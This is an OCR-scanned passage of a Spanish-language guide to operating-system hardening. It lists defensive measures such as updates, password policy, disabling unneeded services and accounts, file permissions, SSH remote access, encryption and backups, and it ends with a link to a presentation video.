considerar al menos dos particiones primarias (1 para el sistema operativo en si
y otra para carpetas y archivos de importancia), el uso de un sistema de archivos
gue tenga prestaciones de seguridad, y el concepto de instalacion minima, es
decir, evitando la instalacion de cualquier componente de sistema que no sea
necesario para el funcionamiento del sistema.

» Activacion y/o configuracion adecuada de servicios de actualizaciones
automaticas, para asegurar que el equipo tendra todos los parches de seguridad
gue entrega el proveedor al dia. En caso de que se encuentre dentro de una
corporacion, es adecuado instalar un servidor de actualizaciones, que debera
probar en un entorno de laboratorio el impacto de la instalacion de
actualizaciones antes de instalarlas en produccion.

» Instalacion, configuracion y mantencion de programas de seguridad tales como
Antivirus, Antispyware, y un filtro Antispam segun las necesidades del sistema.

» Configuracion de la politica local del sistema, considerando varios puntos
relevantes: Politica de contrasefias robusta, con claves caducables,
almacenamiento historico de contrasefias (para no usar contrasefias ciclicas),
blogueos de cuentas por intentos erroneos y requisitos de complejidad de
contrasefias. Renombramiento y posterior deshabilitacién de cuentas estandar
del sistema, como administrador e invitado. Asignacion correcta de derechos de
usuario, de tal manera de reducir las posibilidades de elevacion de privilegios, y
tratando siempre de limitar al minimo los privilegios y/o derechos de los usuarios
activos.
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Configuracion de opciones de seguridad generales, como aquellas relacionadas
con rutas de acceso compartido, apagado de sistema, inicio y cierre de sesiony
opciones de seguridad de red.

Restricciones de software, basado en lo posible en el uso de listas blancas de
software permitido més que en listas negras del mismo.

Activacion de auditorias de sistema, claves para tener un registro de algunos
intentos de ataque caracteristicos como la adivinacién de contrasefas.

Configuracion de servicios de sistema. En este punto es necesario tratar siempre
de deshabilitar todos aquellos servicios que no vayan a prestar una funcionalidad
necesaria para el funcionamiento del sistema. Por ejemplo, si su equipo no
posee tarjetas de red inaldmbrica, el servicio de redes inalambricas deberia estar
deshabilitado.

Configuracion de los protocolos de Red. En la medida de lo posible, es
recomendable usar sistemas de traduccion de direcciones (NAT) para
direccionar los equipos internos de una organizacion. Deshabilitar todos aquellos
protocolos de red innecesarios en el sistema y limitar el uso de los mismos al
minimo. TCP/IP es un protocolo que no nacié pensando en seguridad, por lo que
limitar su uso al estrictamente necesario es imperativo.

Configuracion adecuada de permisos de seguridad en archivos y carpetas del
sistema. En la medida de lo posible, denegar explicitamente cualquier permiso
de archivo a las cuentas de acceso an6nimos 0 que no tengan contrasefia. Un
correcto set de permisos a nivel de carpetas y archivos es clave para evitar
acceso no deseado al contenido de los mismos.

Configuracion de opciones de seguridad de los distintos programas, como
clientes de correo electronico, navegadores de internet y en general de cualquier
tipo de programa que tenga interaccion con la red.

Configuracion de acceso remoto. En caso de no ser estrictamente necesario, es
bueno deshabilitar el acceso remoto. Sin embargo, cuando es necesario tener
control remoto de la maquina, es preciso configurarlo de manera adecuada,
restringiendo el acceso a un nimero muy limitado de usuario, restringiendo al
minimo las conexiones concurrentes, tomando cuidado en la desconexién y
cierre de sesion y estableciendo un canal cifrado de comunicaciones para tales
propdsitos, como SSH.

Configuracion adecuada de cuentas de usuario, tratando de trabajar la mayor

parte del tiempo con cuentas de acceso limitado y deshabilitando las cuentas de
administrador. Es absolutamente recomendable usar la impersonificacion de
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usuarios para realizar labores administrativas en vez de iniciar sesion como
administradores.

Cifrado de archivos o unidades segun las necesidades del sistema,
considerando un almacenamiento externo para las llaves de descifrado.
Considerar ademas la opcion de trabajar con sistemas de cifrado de mensajeria
instantanea y correo electronico.

Realizar y programar un sistema de respaldos frecuente a los archivos y al
estado de sistema. En la medida de lo posible, administrar los respaldos via red
o llevar los respaldos a unidades fisicas que estén alejadas del equipo que las
origina.
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Link video de sustentacion: https://youtu.be/-F9iKeLjgn8
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